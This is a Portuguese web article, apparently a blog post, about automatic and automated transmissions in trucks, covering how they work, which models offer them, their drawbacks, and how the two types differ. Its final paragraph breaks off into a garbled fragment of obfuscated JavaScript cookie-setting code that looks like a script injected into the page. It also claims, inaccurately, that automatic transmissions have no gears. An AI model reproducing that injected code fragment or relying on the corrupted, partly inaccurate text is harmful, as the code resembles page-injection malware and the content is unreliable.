Caminhão com câmbio automático

Caminhão com câmbio automático

O tempo vai passando e com eles as tecnologias vão se inovando e novidades vão aparecendo. Não é diferente com a indústria automobilística, onde inovações são apresentadas quase todos os anos. Na grande maioria das vezes, o maior objetivo dessas novidades é a maior comodidade do condutor e dos passageiros, além da melhora do desempenho de veículo em questão.

Dessa forma, podemos citar o câmbio automático em caminhões, que vem tendo um crescimento bastante significativo nas vendas ultimamente.

Como funciona um caminhão com câmbio automático?

É provável que todos os leitores nesse momento tenham conhecimento de como funciona o câmbio de um carro. Para aqueles que ainda não sabem, o câmbio é a marcha. Esta, por sua vez, tem o objetivo de ajustar as rotações do motor – responsáveis por fornecer a força para movimentar o veículo – de acordo com a velocidade que ele está.

Por exemplo, para arrancar um veículo, é necessária uma marcha mais forte, pois você irá tirar o veículo da inércia para o movimento. Por isso, coloca-se a 1ª marcha. Quando o caminhão já está em alta velocidade, o motor não precisa de tanta força assim, e sim apenas manter o movimento. Por isso, coloca-se uma marcha mais fraca (geralmente a última).

Isso exige uma atividade constante do condutor do caminhão, principalmente para aqueles que trabalham na cidade e precisam parar em sinais e placas de Pare a todo momento. Com um câmbio comum, o motorista irá precisar trocar a macha toda vez que aumentar ou reduzir a sua velocidade.

E é pra isso que serve o câmbio automático! Nele, o veículo já conta com um dispositivo que percebe a velocidade do veículo naquele exato momento e ajusta a rotação para a necessária. Dessa forma, não é necessário que o indivíduo mude a marcha, pois isso será feito de modo automático pela tecnologia do caminhão.

Atualmente, muitos caminhões contam com essa tecnologia. A grande maioria dos veículos da linha F da Volvo já saem de fábrica com esse dispositivo e a Mercedes Benz o possui em todos os caminhões da linha Axor e Actros. Não é encontrado nenhum modelo veículo pesado ou extrapesado que não tenha o câmbio automático ao menos como opcional.

Cambio automatizado para caminhões – existem desvantagens?

Só de explicar o funcionamento de um câmbio automático é notável que este possui muitas vantagens. A maior comodidade do motorista e a menor necessidade de habilidade são as mais notáveis. Contudo, nem tudo são flores e algumas desvantagens podem ser notadas.

Primeiramente, todos os modelos que contam com câmbio automático são mais caros. Além disso, a manutenção pode ser mais constante e, em todas as vezes, tem um custo bastante superior. Desse modo, vai de acordo com o perfil do condutor, já que muitos não gostam desse estilo de veículo.

Câmbio automático x Câmbio Automatizado?

Para a comunicação cotidiana falamos que todos os veículos que não precisamos de passar marcha são automáticos. No entanto, isso não é verdade. O Câmbio automático é aquele que não tem sistema de marchas e o dispositivo tecnológico é diretamente no motor, variando a rotação. Já o câmbio automatizado é quando um veículo possui sistemas de marchas, mas uma espécie de “robô”, ao perceber uma velocidade específica no automóvel, muda essa marcha sem que você precise. Esses veículos, na maioria das vezes, nem possuem a embreagem.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]